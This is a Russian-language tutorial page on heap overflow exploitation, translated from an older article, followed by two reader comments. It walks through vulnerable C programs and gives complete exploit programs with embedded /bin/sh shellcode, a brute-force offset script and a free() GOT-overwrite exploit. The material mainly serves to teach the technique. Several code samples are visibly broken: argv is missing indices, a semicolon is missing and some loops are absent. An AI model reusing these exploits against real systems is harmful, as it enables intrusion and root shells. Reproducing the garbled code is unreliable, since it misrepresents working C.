The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги ]

Как работают эксплоиты на основе heap overflow (security heap buffer attack)


<< Предыдущая ИНДЕКС Исправить src / Печать Следующая >>
Ключевые слова: security, heap, buffer, attack,  (найти похожие документы)
From: intuit Date: Mon, 23 Feb 2008 18:21:07 +0000 (UTC) Subject: Как работают эксплоиты на основе heap overflow Оригинал: http://www.void.ru/content/1062 Автор: nebunu, irc.box.sk #neworder Перевод: intuit 1. Почему была написана статья. 2. Описание ошибки. 3. Уязвимая программа (пример и exploit для неё) 4. Реальный пример эксплоита. 1. Большое количество эксплоитов было зарелизено в последнее время. Некоторые из них основаны на технологии перезаписи указателя функции(function pointer), позволяющей выполнить шеллкод на стеке или куче. Вот самые известные из последних эксплоитов, использующие данную технологию: 7350fun, Apache-scalp, openssl-too-open, sshut-up-theo, sshchan. Тысячи серверов по всему миру были взломаны. В большинстве случаев эти эксплоиты использовались так называемымиsсriptkiddie`s, которые не имеют представления о том, как они работают и что делают. В связи с этим я попытаюсь рассказать о технике перезаписи указателя функции в деталях. Итак, оставайтесь со мной до конца статьи и, я надеюсь, когда вы закроете свой "вьювер" =) вы станете просвящены в данном вопросе. 2. Лучший способ разобраться в проблеме - рассмотреть пример уязвимой программы. Давайте взглянем на следующий код: #include <stdio.h> #include <string.h> main() { unsigned long difference; char *buffer1,*buffer2; *buffer1 = (char *)malloc(16) *buffer2 = (char *)malloc(16); difference = (unsigned long)buffer2 - (unsigned long)buffer1; memset(buffer2, 'A', 15), buffer2[15] = '\0'; memset(buffer1, 'B', (unsigned int)(difference + 8)); } После компиляции и выполнения наши буферы будут содержать следующее: До переполнения: buffer2=AAAAAAAAAAAAAAAA После: buffer2=BBBBBBBBAAAAAAAA Buffer1 "вылез" за свою границу в пространство зарезервированное для buffer2 на 8 байт. Это позволяет нам, используя перезапись некоторого указателя, выполнить шеллкод. Посмотрите на следующий код: expl.c #include <stdio.h> #include <string.h> int function(const char *argument); int main(int argc, char **argv) { static char buf[128]; static int (*funcptr)(const char *argument); if (argc <= 2) { fprintf(stderr, "Usage: %s [buffer] [function argument]\n", argv[0]); exit(1); } funcptr = (int (*)(const char *argument))function; memset(buf, 0, sizeof(buf)); strncpy(buf, argv, strlen(argv)); (void)(*funcptr)(argv); return 0; } int function(const char *argument) { printf("\nArgument is: %s\n", argument); return 0; } Разберемся, что он делает. Получает 2 аргумента. Первый аргумент - строка вызывающая переполнение, второй - будет запускать нашу функцию. Наша функция будет выводить на экран. Как мы можем "эксплуатировать" это ? Очень просто. Используем первую строку, которая может быть произвольно большой длины для перезаписи указателя функции и заставляем его указывать на шеллкод, расположенный в "куче". Конечно, мы можем разместить наш шеллкод в первом аргументе программы, подобно классическому buffer overflow, но тогда сложнее получить адрес возврата, да и многие системы сегодня уже не имеют выполнимого стека. К примеру, я использую StackGuard для защиты своей системы от такого нападения. Теперь приступим к написанию эксплоита. 3. Посмотрите внимательнее на expl.c, на дозволенный размер буфера. static char buf[128]; Итак, под буфер отводится 128 байт. Легко заметить, в моем первом примере, что вылезая за границы буфера в место, отведенное под heap-переменную, можно перезаписать указатель функции на адрес нашего шеллкода. Получается что-то вроде этого: {AAAAAAAA...AAAAAAAAAAAAA}{shellcode address}{NULL byte} 128 bytes of crap 4 bytes long 1 byte Видно, что длина буфера эксплоита должна быть 128+4+1 байт. char buf[128 + sizeof(unsigned long) + 1]; Тогда верхний адрес будет определен так: sysaddr = (unsigned long)sbrk(0) Будем вычитать пока не сорвем джек-пот ;) : sysaddr = (unsigned long)sbrk(0) - atoi(argv); Если размер шеллкода превышает размер нашего буфера - тогда на выход: if (128 + 4 + 1 < strlen(shellcode))exit(1); Если всё ОК, поместим наш шеллкод в буфер: strcpy(buf, shellcode); После шеллкода добавим мусора... Это будет последовательность ААА.. , также определим NULL'евой байт, который выступает в роли завершителя строки: memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) + sizeof(unsigned long)); buf[128 + sizeof(unsigned long)] = '\0'; Теперь в конец "разрешенных" 128 байт, запишем адрес возврата шеллкода, задом-наперед, не забыв про то, что работаем с linux, который использует формат little endian. for (i = 0; i < sizeof(sysaddr); i++) buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255; Например, если адрес - 0xffff5467, то запишем - 6754ffff. Далее, передаем наш шеллкод, как аргумент функции. Когда указатель функции будет перезаписан нашим буфером, shellcode будет выполнен. execl("./expl","expl", buf, shellcode, NULL); Объединим все сказанное в небольшую программу: go.c #include <stdio.h> #include <string.h> char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; main(int argc, char **argv) { register int i; unsigned long sysaddr; char buf[128 + sizeof(unsigned long) + 1]; if (argc <= 1) { printf("\nUsage: %s [offset]\n", argv[0]); exit(1); } sysaddr = (unsigned long)sbrk(0) - atoi(argv); if (128 + 4 + 1 < strlen(shellcode)) exit(1); strcpy(buf, shellcode); memset(buf + strlen(shellcode), 'A',128 - strlen(shellcode) + sizeof(unsigned long)); buf[128 + sizeof(unsigned long)] = '\0'; for (i = 0; i < sizeof(sysaddr); i++) buf[128 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255; execl("./expl","expl", buf, shellcode, NULL); return 0; } Для того, чтобы получить шелл, вы должны выполнить exploit с параметром offset. Таким образом ./go [offset] . Я создал маленький скрипт, делающий это для вас. Назовите его sсript. #!/bin/bash i=0 while [ $i -lt 1000 ]; do i=`expr $i + 1` ./go $i echo $i done Выполните его: root@localhost~# shsсript .......... sh-2.5# Мы получили шелл! Надеюсь вы поняли основную идею данной уязвимости, которая широко распространена в реальной жизни. 4. Здесь я рассмотрю пример перезаписи указателя функции free(), конкретно то, что встречается в реальных условиях. Это точно такая же техника, на которой построены эксплоиты для openssh-2.9* for freebsd и openssl apache exploit. Смотрим: Для понимания того, что будет написано далее, необходимо знать как работает функция free(). Объяснение её работы выходит за рамки данной статьи, читайте MAN`ы. Вот подходящий для "эксплуатации" код: #include <stdio.h> #define BUFSIZE 56 int main(int argc, char **argv) { char *buf1, *buf2; if(argc == 1) { printf("\nUsage: %s [string].\n",argv[0]); return(0); } buf1 = (char *) malloc(BUFSIZE); buf2 = (char *) malloc(BUFSIZE); strcpy(buf2,"AAAAAAAAAAAAAAAA"); strcpy(buf1, argv); printf("\n%s\n", buf1); free(buf2); free(buf1); return(0); } Длина buf2 крайне важна, bufsize1=length(buf2). Также вы видите, если строка более 56 символов, разрешенных для аргумента, то она перезапишет часть buf2. Мы должны заменить первые 8 байт, для того, чтобы "эксплуатировать" эту программу по стандартной схеме: [BUFSIZE bytes of shit] [previous size of buf2(предыдущий размер buf2)] [size of buf2(размер buf2)] [8 bytes of crap] [ptr safe 4 bytes] [ptr safe 4 bytes] [ptr to overwrite lоcation - bufsize1 -4(указатель на перезаписываемую область)] [return addy(адрес возврата)] [jump ahead bufsize1-4(прыжок вперед на bufsize1-4 байт)] [bufsize1-4 bytes of crap] [shellcode of your choice(шеллкод на ваш выбор)] ptr to overwrite lоcation - адрес функции free(), его можно узнать так: objdump -R vulnerable_program_binary | grep free Адрес возврата - адрес шеллкода, обычно можно узнать брутфорсом. Далее приведен эксплоит, построенный по показанной схеме: #include <stdio.h> main(int argc,char **argv) { unsigned long sysaddr=0x0804968c-12; /* free() address-16-4 */ unsigned long retaddr; /* shellcode address */ int i; char buf[1000]; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0" "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8" "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"; strcpy(buf,"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); /* 56 chars */ strcat(buf,"\xf0\xff\xff\xff"); /* [previous size of buf2] */ strcat(buf,"\xfc\xff\xff\xff"); /* [size of buf2] */ strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"); /* 8 bytes of shit */ strcat(buf,"\xfc\xff\xff\xff"); /* [ptr safe 4 bytes] */ strcat(buf,"\xfc\xff\xff\xff"); /* [ptr safe 4 bytes] */ buf[56+4+4+8+4+4 + i] = ((unsigned long)sysaddr >> (i * 8)) & 255; /* [ptr to overwrite lоcation - bufsize1 -4] */ retaddr=sysaddr+atoi(argv); buf[56+4+4+8+4+4+4+ i] = ((unsigned long)retaddr >> (i * 8)) & 255; strcat(buf,"\xeb\x0c\x90\x90"); /* jump ahead 12 bytes */ strcat(buf,"\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc\xfc"); /* [bufsize1-4 bytes of crap] */ strcat(buf,shellcode); /* shellcode */ execl("./a","a",buf, NULL); /* blow them baby */ } Для более глубокого понимания материала ищите man`ы и статьи по выделению и освобождению памяти. (описание таких функций, как malloc(), realloc(), free(), cfree() и т.д.) Автор: nebunu Источник: irc.box.sk #neworder

<< Предыдущая ИНДЕКС Исправить src / Печать Следующая >>

Обсуждение [ RSS ]
 
  • 1, Александр, 18:21, 26/12/2012 [ответить] [смотреть все]
  • +/
    Эксплоит из пункта 3 не работает. Не могу понять что не так. Видимо прошло много времени и что-то изменилось в linuxе.
     
  • 2, Jj, 01:10, 24/12/2015 [ответить] [смотреть все]
  • +/
    Описана атака на функцию: strcpy()
     

    Ваш комментарий
    Имя:         
    E-Mail:      
    Заголовок:
    Текст:





      Закладки на сайте
      Проследить за страницей
    Created 1996-2017 by Maxim Chirkov  
    ДобавитьРекламаВебмастеруГИД  
    Hosting by Ihor